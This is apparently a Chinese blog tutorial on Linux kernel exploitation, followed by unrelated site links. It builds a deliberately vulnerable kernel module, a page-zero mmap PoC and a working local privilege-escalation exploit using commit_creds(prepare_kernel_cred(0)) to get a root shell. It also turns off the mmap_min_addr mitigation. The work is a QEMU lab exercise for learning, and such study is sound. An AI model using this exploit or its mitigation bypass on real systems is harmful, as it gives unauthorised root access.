linux内核漏洞利用初探(2):demo-null_dereference

发布时间:2021-09-27 18:10:52

1. NULL Dereference
(1)介绍

古老的Linux NULL pointer dereference exploit,映射0地址分配shellcode运行


(2)漏洞代码

#include
#include
#include
#include
void (*my_funptr)(void);
int bug1_write(struct file *file,const char *buf,unsigned long len)
{
my_funptr();
return len;
}
static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!n");
create_proc_entry("bug1",0666,0)->write_proc = bug1_write;
return 0;
}
static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exitn");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);

Makefile如下


obj-m := null_dereference.o
KERNELDR := ~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/
PWD := $(shell pwd)
modules:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules
moduels_install:
$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install
clean:
rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

代码分析:my_funptr函数指针指向不定,可以劫持之后执行shellcode。


编译驱动后将*.ko打包进busybox文件系统中,以便挂载。


(3) PoC

//poc.c
#include
#include
#include
#include
#include
#include
char payload[] = "xe9xeaxbexadx0b";//jmp 0xbadbeef
int main(){
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "muhe", 4);
return 0;
}

$ gcc -**static** poc.c -o poc

$ cp poc ../../busybox-1.19.4/_install/usr

$ find . | cpio -o --format=newc > ../../rootfs_null_dereference.img

(4)调试PoC

QEMU启动


启动方法1:


$ qemu-system-x86_64 -kernel linux-2.6.32.1/arch/x86/boot/bzImage -initrd ./rootfs_null_dereference.img -append "root=/dev/ram rdinit=/sbin/init"



ctrl+alt+1 VM显示
ctrl+alt+2 监视器控制台



切换到监视器控制台:(QEMU)gdbserver tcp::1234


启动方法2:


#start.sh 脚本
qemu-system-x86_64
-m 256M
-kernel linux-2.6.32.1/arch/x86/boot/bzImage
-initrd ./rootfs_null_dereference.img
-append "root=/dev/ram rdinit=/sbin/init"
-s

然后用gdb去连接。


$ gdb vmlinux
gdb-peda$ target remote :1234
Remote debugging using :1234
Warning: not running or target is remote
current_thread_info () at /home/muhe/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/arch/x86/include/asm/thread_info.h:186
186 (current_stack_pointer & ~(THREAD_SIZE - 1));
gdb-peda$ b *0x0
Breakpoint 1 at 0x0
gdb-peda$ c
Continuing.

QEMU切换到VM显示,挂载驱动null_dereference.ko后运行poc程序。


$ insmod nulldereference.ko
$ ./usr/poc


gdb中反汇编查看当前执行的指令。


gdb-peda$ pdisass $pc
Dump of assembler code from 0x0 to 0x20:: Dump of assembler code from 0x0 to 0x20:
=> 0x0000000000000000 : jmp 0xbadbeef
0x0000000000000005 : add BYTE PTR [rax],al
0x0000000000000007 : add BYTE PTR [rax],al
0x0000000000000009 : add BYTE PTR [rax],al

(5)exploit

(5-1)思路


给当前进程赋予root权限,执行commit_creds(prepare_kernel_cred(0));


#获取commit_creds()和prepare_kernel_cred()地址
$ cat /proc/kallsyms | grep commit_creds
$ cat /proc/kallsyms | grep prepare_kernel_cred


(5-2)编写shellcode


xor %rax,%rax
call 0xffffffff81083610
call 0xffffffff81083420
ret
$ gcc -o payload payload.s -nostdlib -Ttext=0
$ objdump -d payload
payload: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <__bss_start-0x20000e>:
0: 48 31 c0 xor %rax,%rax
3: e8 08 36 08 81 callq ffffffff81083610 <_end+0xffffffff80e83600>
8: e8 13 34 08 81 callq ffffffff81083420 <_end+0xffffffff80e83410>
d: c3 retq

得到shellcode。


shellcode="x48x31xc0xe8x08x36x08x81xe8x13x34x08x81xc3"

我们需要分配0地址空间然后放入shellcode,然后jmp过去执行shellcode,使当前进程有root权限,然后执行一个system("/bin/sh");在程序返回用户态之后拿到一个root的shell。


(5-3)explot


//$ gcc -static exploit.c -o exp
//exploit.c
#include
#include
#include
#include
#include
#include
char payload[] = "x48x31xc0xe8x08x36x08x81xe8x13x34x08x81xc3";
int main()
{
mmap(0, 4096,PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS ,-1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "muhe", 4);
system("/bin/sh");//get root shell
return 0;
}

(6)get root shell

新建用户测试exploit。


$ insmod nulldereference.ko #加载漏洞模块
$ touch /etc/passwd
$ adduser john
$ touch /etc/group
$ su john
$ whoami
john
$ /usr/exp
#报错sementation fault,这是因为,2.6.32内核已经使用mmap_min_addr作为缓解措施mmap_min_addr为4096,需要设置下mmap_min_addr。
$ exit
$ sysctl -w vm.mmap_min_addr="0"
$ su john
$ /usr/exp



参考:

https://www.anquanke.com/post/id/85837
https://www.anquanke.com/post/id/85840
https://www.anquanke.com/post/id/85848

相关文档

  • 深度分析 :《粤港澳大湾区区块链领域研究报告》|链塔智库
  • 跟导师发邮件范文
  • 基于OpenCV的车牌识别系统之三 ??字符分割与识别(川字分割)
  • 残联干部学习习***视察甘肃讲话精神心得发言
  • 儿童美术考级作品图片
  • 计算机网络技术专业就业前景
  • 高中新生开学自我介绍作文
  • 计蒜客 Python课程 A+B+C问题
  • 低年级学生期末评语
  • 关于秋天的优美散文随笔在线阅读
  • 熬夜对女生的坏处
  • 买买买的梗到底是什么意思
  • 【考上大学的升学宴讲话】大学升学宴主持稿
  • springboot容器启动顺序之@Configuration ContextRefreshedEvent事件初始化 ApplicationRunner...
  • 关于Axure手机屏幕长宽计算
  • 2020年抗击疫情的手抄报图片
  • 程序员编程艺术:第三章、寻找最小的k个数
  • 关于全球央行数字货币实验的若干认识与思考
  • nike刺客和鬼牌哪个好?耐克刺客和鬼牌有什么区别?
  • 优秀的销售人员应具备的五大素质
  • 怎么看电脑子网掩码
  • 英语函授毕业生自我鉴定精选多篇
  • 文天祥的伶仃是怎样一番境界
  • 2018狗宝宝取名大全
  • 你像手腕上散发的香水味像爱不释手的红色高跟鞋
  • 山东2017年房地产估价师考试报名时间
  • 秋天微信养生小知识
  • 求高品质小说~
  • 怎么样才能让红酒更好的推销出去
  • java获取用户ip的工具类 (直接能用)
  • 猜你喜欢

  • 2020苏科版物理八年级上册1.4《人耳听不见的声音》ppt课件3
  • 第四章企业战略管理-PPT文档资料42页
  • 知识产权的傲慢与偏见
  • JAVA基础之构造函数
  • 音乐课的趣事_小学作文_1
  • 八年级英语上册 Module 3 Sports Unit 2 This year we practise more carefully导学案 (新版)外研版
  • 2015-2016新苏教版小学数学四年级上册《解决问题的策略(例1)》教学课件PPT
  • 人民版必修一专题七第一课:英国代议制的确立和完善课件 (共33张PPT)
  • 山东注册建筑师培训课程:绿色建筑的概念 (1)
  • 已标价工程量清单
  • 感恩主题班会《三八妇女节感恩母亲》
  • 如何才能通过日常饮食可以有效预防癌症的发生呢
  • 2018-2019学年江苏省南京市鼓楼区八年级(上)期末数学试卷
  • 高考物理一轮复*第2节固体液体与气体课件新人教版选修3_3
  • 江苏华建能源集团有限公司(企业信用报告)- 天眼查
  • 高中数学第三章指数函数和对数函数3.1正整数指数函数3.1.1指数函数概念素材2北师大版必修1
  • 上海中远建设(集团)有限公司第六分公司企业信用报告-天眼查
  • 晋江职业中专学校开展禁毒宣传教育工作总结
  • 河南省二级建造师《建设工程法规及相关知识》模拟试题B卷附答案
  • 谈微课教学在小学语文教学中的应用
  • 我国民办教育发展现状与对策研究
  • 【VIP专享】行政人事部14年度工作总结及15工作计划
  • 用什么软件把上字怎么去掉
  • 股权期权激励方案模板最新整理版
  • 高跟鞋总掉跟怎么办
  • 中学生英语记忆的方法
  • 爸爸属猪妈妈属兔相配吗|男属猪女属兔
  • 拟行路难咏怀八十二首导学案 人教课标版最新版
  • 基于SOA的航空发动机健康管理系统设计
  • 幼儿园国庆节活动总结
  • 装修门户网站高端商业计划书PPT模板
  • 依据GB 8076?1997标准,下列选项属于混凝土外加剂的匀质性指标
  • [精选]最新2019秋部编版语文四年级上册四年级语文上册阅读题18篇(附答案)2
  • 糖尿病合并肾病患者血糖与肾功能指标的相关性
  • 苹果已停用连接itunes是什么意思 苹果已停用连接itunes是什么意思呢
  • 嵌入式设计项目流程、软件安装和工程建立
  • 梦的四分之一旅行作文500字
  • 宝宝睡觉磨牙的原因有哪些
  • 2019年英语国培个人研修计划
  • 荧光免疫技7年制-文档资料
  • 幼儿情绪管理
  • ApacheDS搭建
  • 电脑版